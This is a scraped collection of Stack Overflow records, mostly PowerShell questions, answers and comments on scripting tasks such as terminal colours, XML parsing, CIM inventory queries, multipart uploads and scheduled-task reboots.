tagged with: background-color
tagged with: scripting
type: UnansweredQuestion
score: 1
upvote count: 1
tagged with: terminal
favorite count: 0
has comment: http://stackoverflow.com/comment/139674469
has comment: http://stackoverflow.com/comment/139680242
type: Question
has answer: http://stackoverflow.com/a/79212174
has title: How do I set foreground and background colors permanently in a script that opens several new PowerShell terminals?
has body: I have a script that opens several PowerShell terminals and runs some commands in each. In order to make it easy for the user to distinguish between the terminals, I'd like to set the background and foreground colors of each. I've got this so far: start powershell @' $host.ui.RawUI.WindowTitle = \"application 1\" $host.ui.RawUI.BackgroundColor = \"red\" $host.ui.RawUI.ForegroundColor = \"black\" cd application1\backend npm install npm run build npm run start '@ start powershell @' $host.ui.RawUI.WindowTitle = \"application 2\" $host.ui.RawUI.BackgroundColor = \"blue\" $host.ui.RawUI.ForegroundColor = \"white\" cd application2\backend npm install npm run build npm run start '@ start powershell @' $host.ui.RawUI.WindowTitle = \"application 3\" $host.ui.RawUI.BackgroundColor = \"yellow\" $host.ui.RawUI.ForegroundColor = \"black\" cd application3\backend npm install npm run build npm run start '@ What this gives me is the following: Sure, the background is colored red (or pink), but it seems to be the background of whatever text is logged to the console, not the background of the terminal itself. I know one can color the full terminal background by going to the terminal properties and selecting Screen Background and the desired color (and similarly for text color): ...but I'd like to know how to do this in the script. I'm assuming whatever can be done in the Properties dialog can be done in script. Note that it does no good to set the user's PowerShell Profile settings as I don't want to permanently change the user's PowerShell color setting (just for the life of the terminal that opens from the script) and I'm trying to set different colors for each terminal. What can I add to the script above to accomplish what I want? Thanks!
answer count: 1
downvote count: 0
tagged with: powershell

http://stackoverflow.com/q/79164499
has comment: http://stackoverflow.com/comment/139598688
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79164563
type: Question
has title: Delimit the back-tick ` character in a string
has comment: http://stackoverflow.com/comment/139593983
answer count: 1
has comment: http://stackoverflow.com/comment/139595107
duplicate of: http://stackoverflow.com/q/75567546
downvote count: 0
tagged with: powershell
has comment: http://stackoverflow.com/comment/139593963
linked to: http://stackoverflow.com/q/75567546
type: UnansweredQuestion
score: 1
has body: I have a script that receives a password to decrypt a file. Some passwords have a single back tick ` character and the script fails with an incorrect password error. While testing using a hard-coded password, I found this password fails: $Passwd = "StringWith`Character" But that using this password works: $Passwd = "StringWith``Character" My question is: What PowerShell code will add an additional back tick? I tried: $Passwd = "StringWith`Character" # <-- entered by user write-output "Passwd = $Passwd" $new_pw = $Passwd.replace('`','``') write-output "New_pw = $new_pw" But the output I get is: Passwd = StringWithCharacter New_pw = StringWithCharacter Confusingly, neither variable shows as having a back tick. This has me stumped. Any recommendations?

http://stackoverflow.com/comment/139731148
type: Comment
has text: @TessellatingHeckler would you suggest why it bat produces this kind of output _only_ if called from c#?
score: 0
comment on: http://stackoverflow.com/q/79240454
type: QuestionComment

http://stackoverflow.com/comment/139618157
has text: double quotes don't make a string literal tho'
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79174200
score: 0

http://stackoverflow.com/q/79104448
has comment: http://stackoverflow.com/comment/139483958
has title: Unexpected token error with Invoke-Expression in Powershell
duplicate of: http://stackoverflow.com/q/68535070
tagged with: powershell
has body: I need to repeat the same command many times while replacing a string by another one from an array. The command has a number of option indicated by "-". When invoking the command Powershell drops the following error: Invoke-Expression : At line:1 char:77 + ... XXXXX\XXXXXXXXXXX\XXXXXXXXXXXX\XXX\XXX\PG_epos_backup" -study_name NE ... + ~~~~~~ Unexpected token '-study' in expression or statement. At line:1 char:83 + ... \XXXXXXXXXXX\XXXXXXXXXXXX\XXX\XXX\PG_epos_backup" -study_name NEXT_ST ... + ~~~~~ Unexpected token '_name' in expression or statement. At X:\XXXXXXXXX\powershell_loop_studies.ps1:11 char:3 + Invoke-Expression $command + ~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException + FullyQualifiedErrorId : UnexpectedToken,Microsoft.PowerShell.Commands.InvokeExpressionCommand` Thats my Powershell script: $studies = "0_12007393_13374", "0_12007393_13374_BD", "0_12018871_13400" $command = '"C:\Program Files\XXXXXXXX\XXXXXXXXXXX\XXXXXXXXXXXX\XXX\XXX\PG_epos_backup" -study_name NEXT_STUDY_NAME -pns_host XXXXXXXXXXXX -out_dir X:\backups_24-10-18 -log_dir X:\backups_24-10-19\00_LOGS -tmp_dir X:\XXXXXXXX\TEMP -stdout' foreach ($study in $studies) { $command.replace('NEXT_STUDY_NAME',$study) Invoke-Expression $command }
duplicate of: http://stackoverflow.com/q/46610749
has comment: http://stackoverflow.com/comment/139484273
score: 0
linked to: http://stackoverflow.com/q/68535070
type: UnansweredQuestion
tagged with: unexpected-token
has comment: http://stackoverflow.com/comment/139483970
has comment: http://stackoverflow.com/comment/139484016
type: Question
answer count: 0

http://stackoverflow.com/comment/139661517
has text: After sourcing the file in using `. .\my_functions.ps1`, the command `Get-Command -Name Get-My-PlainText` shows that it is loaded .
score: 3
type: QuestionComment
comment on: http://stackoverflow.com/q/79201535
type: Comment

http://stackoverflow.com/comment/139468763
comment on: http://stackoverflow.com/q/79094796
type: QuestionComment
type: Comment
score: 0
has text: As an aside: The CIM cmdlets (e.g., `Get-CimInstance`) superseded the WMI cmdlets (e.g., `Get-WmiObject`) in PowerShell v3 (released in September 2012). Therefore, the WMI cmdlets should be avoided, not least because PowerShell (Core) 7, where all future effort will go, doesn't even _have_ them anymore. Note that WMI still _underlies_ the CIM cmdlets, however. For more information, see [this answer](https://stackoverflow.com/a/54508009/45375).

http://stackoverflow.com/a/79211175
accepted answer of: http://stackoverflow.com/q/79186087
has comment: http://stackoverflow.com/comment/139756060
has comment: http://stackoverflow.com/comment/139776173
has comment: http://stackoverflow.com/comment/139755417
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139760733
has comment: http://stackoverflow.com/comment/139752374
has comment: http://stackoverflow.com/comment/139775326
answers question: http://stackoverflow.com/q/79186087
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139758661
downvote count: 0
has body: Nowadays, you should use Get-CimInstance in favour of Get-WmiObject. Then, beware of the fact that you may have (or in the future will have) computers with multiple harddisks. $sourceFile = 'D:\Test\computers.txt' $exportFile = 'D:\Test\system-info.csv' # from https://learn.microsoft.com/en-us/windows/win32/cimwin32prov/win32-systemenclosure $chassisTypes = 'Unknown','Other','Unknown','Desktop','Low Profile Desktop','Pizza Box','Mini Tower', 'Tower','Portable','Laptop','Notebook','Hand Held','Docking Station','All in One', 'Sub Notebook','Space-Saving','Lunch Box','Main System Chassis','Expansion Chassis', 'SubChassis','Bus Expansion Chassis','Peripheral Chassis','Storage Chassis', 'Rack Mount Chassis','Sealed-Case PC','Tablet','Convertible','Detachable' # get the list of computernames, ignore empty lines and remove duplicates where present $allComputers = @(Get-Content -Path $sourceFile | Where-Object { $_ -match '\S+' } | Sort-Object -Unique) Write-Host "$($allComputers.Count) total computers" -BackgroundColor DarkCyan # loop over the list of computers and capture the info in variable $result $result = foreach ($Computer in $allComputers) { if (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { Write-Host "Getting information for computer '$Computer'" $system = Get-CimInstance -ClassName Win32_ComputerSystem -Computer $Computer $bios = Get-CimInstance -ClassName Win32_BIOS -Computer $Computer $chassis = Get-CimInstance -ClassName Win32_SystemEnclosure -Computer $Computer $os = Get-CimInstance -ClassName Win32_OperatingSystem -Computer $Computer $cpu = Get-CimInstance -ClassName Win32_Processor -Computer $Computer | Select-Object -First 1 $disks = Get-CimInstance -ClassName Win32_LogicalDisk -Filter 'DriveType=3' -ComputerName $Computer $net = Get-CimInstance -ClassName Win32_NetworkAdapterConfiguration -ComputerName $computer | Where-Object { $_.IPAddress -match '\S+' } foreach ($hdd in @($disks)) { # output the computer info (one row for each found harddi…
has comment: http://stackoverflow.com/comment/139756253
has comment: http://stackoverflow.com/comment/139715887
type: Answer

masking
tag name: masking
type: Tag
tags question: http://stackoverflow.com/q/79189079

http://stackoverflow.com/a/79136206
has comment: http://stackoverflow.com/comment/139577612
has comment: http://stackoverflow.com/comment/139543382
answers question: http://stackoverflow.com/q/79136057
has comment: http://stackoverflow.com/comment/139542288
has comment: http://stackoverflow.com/comment/139546143
type: Answer
has comment: http://stackoverflow.com/comment/139574535
has comment: http://stackoverflow.com/comment/139542106
has comment: http://stackoverflow.com/comment/139548394
score: 0
has body: As per documentation, you need a new setting/env variable for out-of-the-box logs to be sent to app insights (i.e.: Write-Host, Write-Error....): APPLICATIONINSIGHTS_AUTHENTICATION_STRING: The value contains either Authorization=AAD for a system-assigned managed identity or ClientId=<YOUR_CLIENT_ID>;Authorization=AAD for a user-assigned managed identity. ... The APPLICATIONINSIGHTS_CONNECTION_STRING setting is still required. For custom request, you will need to get an access token (see Microsoft Entra authentication for Application Insights): $token = Get-AzAccessToken -ResourceUrl "https://monitor.azure.com" $headers = @{ "Authorization" = "Bearer $($token.Token)"; } Invoke-RestMethod ` -Headers $headers ...
has comment: http://stackoverflow.com/comment/139560563
has comment: http://stackoverflow.com/comment/139543310
has comment: http://stackoverflow.com/comment/139575136

http://stackoverflow.com/comment/139456536
type: QuestionComment
type: Comment
score: 1
has text: It is not *`"Virtualizing the CPU"`* - only using virtual memory which is something completely different
comment on: http://stackoverflow.com/q/79088290

http://stackoverflow.com/a/79100741
score: 0
has body: Given a CSV named FilenameChange.csv that lives in the same directory as all files to be renamed, then the following code would accomplish renaming all files: from os import rename with open("FilenameChange.csv", "r") as file: next(file) for line in file: stripped_line = line.strip() if not stripped_line: continue old_name, new_name = stripped_line.split(",") rename(old_name, new_name) The code opens the CSV file, skips the first header line, and then for each line after that (assuming it's not empty) splits it into the old name and new name, and then uses the os.rename function to rename it. If the new_name already exists, then an error will be raised. If some of the new_name files already exist, it may be useful to add a check for os.path.isfile before trying the rename.
type: Answer
has comment: http://stackoverflow.com/comment/139477524
answers question: http://stackoverflow.com/q/79100678

http://stackoverflow.com/comment/139474615
type: QuestionComment
type: Comment
has text: same, as `[pscustomobject[]]`, this is working, but `[System.Collections.ObjectModel.Collection[CimInstance]]` does not, but `$test=[System.Collections.ObjectModel.Collection[CimInstance]](Get-Disk)` directly into the console is ok and `$test[0].GetType()` is `CimInstance` actually. It is working with WPF when there is no bound data too...
score: 0
comment on: http://stackoverflow.com/q/79098831

http://stackoverflow.com/a/79142676
has body: tl;dr The value of .Element2 is a string (the text content of the element, of type [string]), whereas that of .Element1 is a System.Xml.XmlElement instance, for the reasons explained in the next section. That Write-Host emits an empty line when given a System.Xml.XmlElement instance is a bug - see GitHub issue #24508; omit Write-Host[1] and you'll see a representation of the element's child nodes. There is no unified purely property-based way that guarantees that .<ChildElementName> always returns the text content of a given element, but you can combine indexed access with .InnerText: The existing answers offer workarounds for extracting the text content; let me add some more: If you know that the property of interest contains an XmlElement instance, use .InnerText (.'#text' works too, and while it is more obscure and less convenient to type, it's actually the first tab completion offered): $xconf.Settings.Element1.InnerText Unified approaches, where you ensure that all child elements are accessed as XmlElement instances; that is, the following approaches work analogously with the attribute-less <Element2> element: # By element name using an *index expression* (['...']) # rather than property access. # If the target element has a namespace prefix, use the prefixed name. $xconf.Settings['Element1'].InnerText # By child node *position* (0-based index): $xconf.Settings.ChildNodes[0].InnerText # Using XPath, but note that this would require # explicit *namespace handling* in XML documents using namespaces, # which requires much more effort. $xconf.Settings.SelectSingleNode('Element1').InnerText Background information: PowerShell's adaption of the XML DOM provided by the .NET ([xml]) class - described in detail in this answer - represents XML child elements (as well as XML attributes) as if they were (namespace-less) properties, allowing for convenient OO access. The type of such adapted (virtual) properties varies, depending on whether a given XML element is a simple on…
answers question: http://stackoverflow.com/q/79141636
type: Answer
score: 0

http://stackoverflow.com/comment/139783974
has text: Also, have you given Monitoring Metric publisher role to achieve the above one. @GJ-Hardie
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79244293

http://stackoverflow.com/q/79174496
linked to: http://stackoverflow.com/q/77410675
tagged with: command-line
tagged with: windows
has comment: http://stackoverflow.com/comment/139613076
type: Question
has answer: http://stackoverflow.com/a/79174522
has title: Running from command line, how can I automatically affirm dialog prompt?
tagged with: powershell
answer count: 1
has comment: http://stackoverflow.com/comment/139612541
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/139612532
upvote count: 1
score: -1
downvote count: 2
favorite count: 0
has body: I am running a Windows application from the command line (PowerShell/Command Prompt): .\myapp.exe &lt;some arguments&gt; When the app starts, it displays a dialog similar to this: I want to be able to respond Yes to this dialog prompt from the command line, i.e. without having to manually click on the Yes button. Is there anything I can add to my command line, e.g. pipe input or PowerShell/Command Prompt options, to automatically respond to the dialog and close it?
tagged with: user-account-control

http://stackoverflow.com/q/79103519
has answer: http://stackoverflow.com/a/79103571
answer count: 2
score: -1
tagged with: out-gridview
type: Question
has answer: http://stackoverflow.com/a/79108903
has title: I can't get sorting to work using "Out-GridView" output
tagged with: powershell
downvote count: 1
type: UnansweredQuestion
upvote count: 0
favorite count: 0
has body: At work, we are asked to log the exact time in a time sheet. I found this online to help me out (instead of going through Windows logs): wevtutil qe Security /q:"*[System[(EventID=4800 or EventID=4801)]]" /f:Text | findstr "Date" | Out-GridView This works fine but I can't seem to find the right way to sort the output reversed alphabetical order. I tried changing: findstr "Date" | Out-GridView to: findstr "Date" | Sort "Date" -Descending | Out-GridView (with or witout quotes on Date). The results always come out as unsorted. Any clues as to why that is?

http://stackoverflow.com/a/79157018
has body: Get-AzResource works. State is found under "properties"
type: Answer
answers question: http://stackoverflow.com/q/79156956
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139580430
downvote count: 0

http://stackoverflow.com/comment/139496456
comment on: http://stackoverflow.com/q/79111442
type: QuestionComment
has text: Have a look at [DbaTools](//DbaTools.io).
type: Comment
score: 0

http://stackoverflow.com/comment/139534994
score: 0
comment on: http://stackoverflow.com/q/79128008
type: QuestionComment
type: Comment
has text: Are you still facing the issue. @TheDemonLord

http://stackoverflow.com/comment/139678854
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79209007
score: 0
has text: Have you tried resolving the variables TableName and SchemaName at script generation time, using a template engine? Decades ago, when I was doing SQL, we had no tools like the ones you have today. So I built a tool in VMS DCL to make scripts from a template and a data list. I later learned that this tool is called a template engine. When I learned powershell, I rewrote the tool in PS code as an exercise. It's not hard to do.

http://stackoverflow.com/q/79076344
type: AnsweredQuestion
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/139432878
duplicate of: http://stackoverflow.com/q/58238481
has comment: http://stackoverflow.com/comment/139432784
has body: In PowerShell 7.0, if I run Get-Service | Select Name, Username | ft I get results like: Name UserName ---- -------- AarSvc_42bd40 AbtCdcSvc LocalSystem AbtSngSvc LocalSystem AdobeARMservice LocalSystem AdobeUpdateService LocalSystem Unfortunately Get-Service stopped including the -ComputerName property starting with PowerShell 6.0; I'm trying to run the same command remotely in PowerShell 7.0, but it's "acting funny". If I run the same command remotely: Invoke-Command -ComputerName 'remoteServerName' -ScriptBlock { Get-Service | Select Name, UserName | ft } I get empty Usernames: Name UserName ---- -------- AJRouter ALG AppHostSvc AppIDSvc Appinfo Does anyone know why the UserName is missing?
favorite count: 0
has comment: http://stackoverflow.com/comment/139432908
has comment: http://stackoverflow.com/comment/139432798
has title: Retrieving Username property from Get-Service commands on remote servers thru Powershell 7
type: Question
downvote count: 0
linked to: http://stackoverflow.com/q/58238481
tagged with: powershell-7.4
answer count: 1
has comment: http://stackoverflow.com/comment/139432758
has answer: http://stackoverflow.com/a/79076530
accepted answer: http://stackoverflow.com/a/79076530
tagged with: powershell

http://stackoverflow.com/comment/139539527
has text: @mklement0: I could, but it's mass P/Invoke and I'm too bad at powershell to do it.
comment on: http://stackoverflow.com/a/79131379
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/79083525
has body: At least one problem with your approach of manually constructing the body is that you forgot to provide a boundary attribute as part of the Content-Type header that specifies the GUID that is used to separate the parts of the submission. Insert the following statement after $Body = [System.Net.Http.StringContent]::new($Body,$UTF8,'multipart/form-data') (note that you cannot directly include this attribute in the constructor argument passed to [System.Net.Http.StringContent]::new(...)): $Body.Headers.ContentType = "multipart/form-data; boundary=`"$guid`"" When using the dedicated .NET APIs (see next section), part-specific Content-Type headers get added too; to specify them manually inside your $Body string, add the following after each ------------$($GUID)------------ line (adjust the media type as needed, e.g. text/html): Content-Type: text/plain; charset=utf-8 It is oversights such as these that make it preferable to use dedicated APIs, which implicitly ensure proper construction of the request body - see next section. Use .NET's dedicated class for media type multipart/form-data, [System.Net.Http.MultipartFormDataContent]: Here is self-contained sample code that builds on yours; it works in both PowerShell editions: # Load the relevant assembly. # Note: Not strictly necessary in PowerShell (Core) 7: it is loaded by default. Add-Type -Assembly System.Net.Http # Sample input data $roomId = 123 $htmlText = ' Testing... ' $token = 'a1234c567' # authorization token $url = 'https://00c78e52-4e81-4dcd-bbc4-0545b8f52ea8.requestcatcher.com' # Construct the multi-part form data. $multiPartFormData = [System.Net.Http.MultipartFormDataContent]::new() # Add the 1st part... $partContent = [System.Net.Http.StringContent] "$roomId" # Note: # * $partContent.Headers.ContentDisposition is automatically filled in as: # form-data; name=roomId # * $partContent.Headers.ContentType is automatically filled in as: # Content-Type: text/plain; charset=utf-8 # Both these header fields can be…
type: Answer
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/79079906
accepted answer of: http://stackoverflow.com/q/79079906
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/139667276
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79204520
has text: There has to be something that triggers if the unit is in or out of service. I guess ultimately I need to find where/what that is.
type: QuestionComment

http://stackoverflow.com/q/79101110
answer count: 1
type: AnsweredQuestion
has title: Read single node from xml-file
score: 1
linked to: http://stackoverflow.com/q/74180488
linked to: http://stackoverflow.com/q/71847945
upvote count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/139478533
has comment: http://stackoverflow.com/comment/139478289
type: Question
has body: I'm trying to save content from a single node to a variable from this xml content. <?xml version="1.0"?> 37968228-1bc9-4b84-9eaa-cf0b7ef1c70e 8.05.5006.24 2023-10-06T14:00:01.8704004+02:00 C:\Users\Public\Documents\Projects\Programm\ Produktion Administrator Produktion The node in question is "SolutionPath" and the Information I need saved is C:\Users\Public\Documents\Projects\Programm\ I read the xml with [xml]$xml = Get-Content -Path '.\AppInfo.xml' But I can't seem to find a way to get the desired node saved to the same or another variable since the nodes I supposedly have to navigate through to get to "SolutionPath" are very rich in text. So if I'm correct I somehow have to navigate through them like the following? $xml.ProjectRuntimeInfo xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".SolutionPath But that seems rather odd to me. Thankful for any help <3
has answer: http://stackoverflow.com/a/79101817
accepted answer: http://stackoverflow.com/a/79101817
downvote count: 0
tagged with: powershell

audit-logging
type: Tag
tags question: http://stackoverflow.com/q/79193052
tag name: audit-logging

http://stackoverflow.com/q/79179274
tagged with: powershell
has body: I am trying to update the ACL permissions of the 'Deleted Objects' container in AD programmatically however I am unable to validate the current permissions. Normally I would use Get-ACL on the Distinguished Name however this command returns "Cannot find path {DN} because it does not exist" I am running this as a Domain Admin and I can confirm the container does exist with Get-ADObject -SearchBase ((Get-ADDomain).DeletedObjectsContainer) -Filter * -IncludeDeletedObjects -SearchScope Base The issue seems to be that the Deleted Objects container itself is marked as isDeleted which prevents Get-ACL from reading it. Using dsacls as outlined here does work if I run it as system through psexec though the output is not ideal as I have to process it before I can validate against it. Is there another way to query this information with PowerShell that will return cleaner output? https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/non-administrators-view-deleted-object-container
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139627993
score: 0
tagged with: acl
has comment: http://stackoverflow.com/comment/139627824
accepted answer: http://stackoverflow.com/a/79184843
has comment: http://stackoverflow.com/comment/139621077
tagged with: active-directory
has answer: http://stackoverflow.com/a/79184843
has comment: http://stackoverflow.com/comment/139621068
type: Question
has title: Get-ACL of Deleted Objects Container
answer count: 1
has comment: http://stackoverflow.com/comment/139621232

http://stackoverflow.com/comment/139720751
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052
has text: I just tried it with the -Force flag but still does not work. Even set the setting to run the Powershell scripts first and that has no effect.

http://stackoverflow.com/comment/139602690
score: 0
has text: Try: [`$Using:file`](https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_remote_variables#using-local-variables)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79168506

http://stackoverflow.com/comment/139643308
has text: @AdityaRanjan add the new YAML pipeline file **manually** in the same branch as the old pipeline and then see steps in https://stackoverflow.com/questions/59067096/create-a-new-pipeline-from-existing-yml-file-in-the-repository-azure-pipelines
type: Comment
comment on: http://stackoverflow.com/a/79178363
score: 0
type: AnswerComment

http://stackoverflow.com/comment/140255172
score: 0
has text: oh-my-posh is not responsible for colouring the output of dir, aka Get-ChildItem. See my answer for more clarification.
type: AnswerComment
comment on: http://stackoverflow.com/a/79215114
type: Comment

http://stackoverflow.com/a/79319529
has body: The problem was that although the document libraries were in the same site, even visually placed next to each other, one list had a path similar to this: https://blabla.sharepoint.com/sites/SiteName/Lists/ListName/Forms/AllItems.aspx and the other had a path: https://blabla.sharepoint.com/sites/SiteName/ListName/Forms/AllItems.aspx And because I was using the same path to access both libraries, this error occurred
score: 0
answers question: http://stackoverflow.com/q/79193700
type: Answer

http://stackoverflow.com/comment/139612532
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79174496
has text: i think your app.exe should have code for switch..say /silent..then you can pass it... you can see entire arguments using app.exe $?

http://stackoverflow.com/q/79195703
has comment: http://stackoverflow.com/comment/139682966
has answer: http://stackoverflow.com/a/79201672
type: Question
accepted answer: http://stackoverflow.com/a/79201672
has comment: http://stackoverflow.com/comment/139661996
downvote count: 0
tagged with: .net
answer count: 1
tagged with: powershell
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/139661925
score: 3
has body: The following code creates an in-memory type, finds its assembly, then attempts to add another type referencing the first: Add-Type -TypeDefinition 'namespace MyNamespace { public class c {}}' $assembly = $([System.AppDomain]::CurrentDomain. GetAssemblies(). GetTypes() | ? {$_.Namespace -eq 'MyNamespace' } | % Assembly | Select-Object -Unique -First 1 ) Add-Type -TypeDefinition 'namespace MyNamespace {public class d : c {}}' ` -ReferencedAssemblies $assembly The attempt fails with error Add-Type: C:\repro.ps1:12 Line | 12 | Add-Type -TypeDefinition 'namespace MyNamespace {public class d : c { … | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ | The value cannot be an empty string. (Parameter 'path') which suggests Add-Type is looking for a path that probably doesn't exist since the assembly only exists in-memory. Can a type be added that references an in-memory-only type? What works The following approach works but requires the assemblies to exist in the filesystem: Remove-Item .\c.dll,.\d.dll -ErrorAction SilentlyContinue Add-Type ` -TypeDefinition 'namespace MyNamespace { public class c {}}' ` -OutputAssembly .\c.dll Add-Type -Path .\c.dll [MyNamespace.c]::new() Add-Type -TypeDefinition 'namespace MyNamespace {public class d : c {}}' ` -ReferencedAssemblies .\c.dll ` -OutputAssembly .\d.dll Add-Type -Path .\d.dll [MyNamespace.d]::new()
upvote count: 3
tagged with: c#
linked to: http://stackoverflow.com/q/73132049
has comment: http://stackoverflow.com/comment/139661912
has title: Can a type be added that references an in-memory assembly?
favorite count: 0
tagged with: .net-assembly
has comment: http://stackoverflow.com/comment/139661972
has comment: http://stackoverflow.com/comment/139662049
has comment: http://stackoverflow.com/comment/139651393

http://stackoverflow.com/a/79182419
has body: There is no workaround for what you're attempting: A PowerShell script with parameters that makes use of the ValidateSetAttribute(Type valuesGeneratorType) overload which also defines the IValidateSetValuesGenerator inheriting type in the same file. You can either define a function in the script and dot source it: class foo : System.Management.Automation.IValidateSetValuesGenerator { [string[]] GetValidValues() { return [string[]] ('cat', 'dog', 'fish') } } function Get-Foo { Param( [ValidateSet([foo])] [string]$Name ) } Use the ValidateSetAttribute(params string[] validValues) overload for runtime evaluation: Param( [ValidateSet('cat', 'dog', 'fish')] [string]$Name ) Dot source the IValidateSetValuesGenerator inheriting class before calling the script: PS ..\pwsh&gt; . .\FooValidatorClass.ps1 PS ..\pwsh&gt; .\myFooScript.ps1 &lt;TAB&gt; Or use a module as you already know.
type: Answer
score: 2
answers question: http://stackoverflow.com/q/79182266
accepted answer of: http://stackoverflow.com/q/79182266
type: AcceptedAnswer
upvote count: 2
downvote count: 0

http://stackoverflow.com/q/79095222
has body: I aim to create a PowerShell Script that restarts the computer twice; however, I have some doubts about this way that I am aiming to do this task. I write the following script with a Start-Sleep in between to Restart-Computer -Force: The script looks a bit like this: Restart-Computer -Force Start-Sleep -Seconds 300 Restart-Computer -Force Issue is the computer reboots once and it does not reboot again. I have a gut feeling that this wrong however, I know there is another way using scheduled tasks. However, when I think about the action I think it is shutdown /r so I tried this: PowerShellScript1.ps1 Param( [Parameter(Mandatory=$true)] [string]$file1='', [string]$file2='', [string]$file3='' ) $mypath = $PSCommandPath $cwd = $PSScriptRoot if ( (-not [String]::IsNullOrWhiteSpace($file2)) -and [String]::IsNullorWhiteSpace($file3)) { $taskname = "LLM" $taskExists = Get-ScheduledTask | Where-Object {$_.TaskName -like $taskName } if($taskExists) { Unregister-ScheduledTask -Taskname "LLM" -Confirm:$false } $taskTrigger = New-ScheduledTaskTrigger -AtLogOn $taskname = "LLM" $taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -File $mypath -file1 $file2" # Describe the scheduled task. $description = "Automation Testing" $Principal = New-ScheduledTaskPrincipal -UserID "$env:USERDomain\$env:USERNAME" -LogonType ServiceAccount -RunLevel Highest # Register the scheduled task try{Register-ScheduledTask -TaskName $taskName -Action $taskAction -Principal $Principal -Trigger $taskTrigger -Description $description shutdown -r} catch{ Write-Host $_ } } elseif((-not [String]::IsNullOrWhiteSpace($file2)) -and -not [String]::IsNullorWhiteSpace($file3)){ $taskTrigger = New-ScheduledTaskTrigger -AtLogOn $taskname = "LLM" $taskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -File $mypath -file1 $file2 -file2 $file3" # Describe the scheduled task. $description = "Automation Testing" $Principal = New-Sc…
tagged with: restart
type: Question
has comment: http://stackoverflow.com/comment/139467359
has answer: http://stackoverflow.com/a/79095357
tagged with: scheduled-tasks
tagged with: powershell
answer count: 1
type: AnsweredQuestion
downvote count: 0
has title: Restart the computer Twice using combination of Batch or VBS, and PowerShell scripts on Computer
score: 1
has comment: http://stackoverflow.com/comment/139467342
upvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/79095357
has comment: http://stackoverflow.com/comment/139467419

http://stackoverflow.com/comment/139678320
score: 1
comment on: http://stackoverflow.com/q/79210976
type: QuestionComment
type: Comment
has text: ...why do you need IE? The PowerBI Gateway doesn't require IE... and all recent/supported Windows VM images will have Edge available instead.

http://stackoverflow.com/q/79087081
answer count: 1
tagged with: powershell
has body: I am having trouble parsing Jmeter varibles to OS Process Samplers. I currently have a beanshell sampler that get the sampleresult of the previous sampler like so: String uploadResults=""; if(sampleResult.isSuccessful()){ uploadResults = "true"; vars.put("uploadResults", uploadResults); } else { uploadResults = "false"; vars.put("uploadResults", uploadResults); } I then have an OS Process Sampler that runs a .ps1 script with the following configuration: Command: ${powershellPath} Command parameter: powershell.exe -noexit ""& `${shellScriptPath}` '`${loginResults}`' 'Upload'"" My .ps1 script outputs the result like so: Write-Host "${result}" .ps1 result When I started the script, the OS Process Sampler returned an output like so when the condition is "false": False result And like so when the condition is "true": True result Not sure what is going here, I suspect that is has something to do with the jmeter variable encoding. Any help would be appreciate. EDIT: Here is the .ps1 code. I have redacted some information but the main functionality is there. param ( [string]$result, [string]$transaction, [string]$eventSource = "JMeterEventSource", [string]$logName = "Application", [int]$eventID = 4200 ) # Check if the event source exists, if not, create it if (-not [System.Diagnostics.EventLog]::SourceExists($eventSource)) { New-EventLog -LogName $logName -Source $eventSource } if($result -eq "false"){ switch ($transaction) { "Upload" { $eventMessage = "FunctionalTransactions Script - upload-verification Sampler - The transaction ${transaction} is unavailable" $eventType = "Error" $eventID = 4211 } "Login" { $eventMessage = "FunctionalTransactions Script - login-verification Sampler - The transaction ${transaction} is unavailable" $eventType = "Error" $eventID = 4211 } } } else { switch ($transaction) { "Upload" { $eventMessage = "FunctionalTransactions Script - upload-verification Sampler - The transaction ${transaction} is available" $eventType = "Information" $eventID = …
score: 0
tagged with: shell
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/79088793
tagged with: beanshell
has title: parsing Jmeter variable to OS process sampler
type: Question
tagged with: jmeter

http://stackoverflow.com/q/79076263
has body: I am trying to download the Adobe Acrobat installer using a URL, but the script consistently downloads an almost empty exe file (something around 4 KB in size), and my system keeps telling me the file is corrupted and unreadable. I am wanting to properly download the installer, so I can run it, and perform a full install of Adobe Acrobat this way. I've tried different methods such as Invoke-WebRequest, using curl, using start bit transfer, but nothing works. I've verified the URL I'm using is legit as I put it in my web browser and it downloaded the Adobe Acrobat installer just fine. Here is the PowerShell script that I am currently using: $adobeInstallerUrl = "https://get.adobe.com/reader/download? os=Windows+10&name=Reader+2024.003.20112+English+Windows%2864Bit%29&lang=en&nativeOs=Windows+10&accepted=cr&declined=mss&preInstalled=&site=landing" $installerPath = "C:\Users\User\Downloads\Reader_en_install.exe" function Download-AdobeInstaller { Write-Host "Downloading Adobe Acrobat Installer from $adobeInstallerUrl ..." try { Invoke-WebRequest -Uri $adobeInstallerUrl -OutFile $installerPath Write-Host "Download complete. Installer saved to $installerPath" } catch { 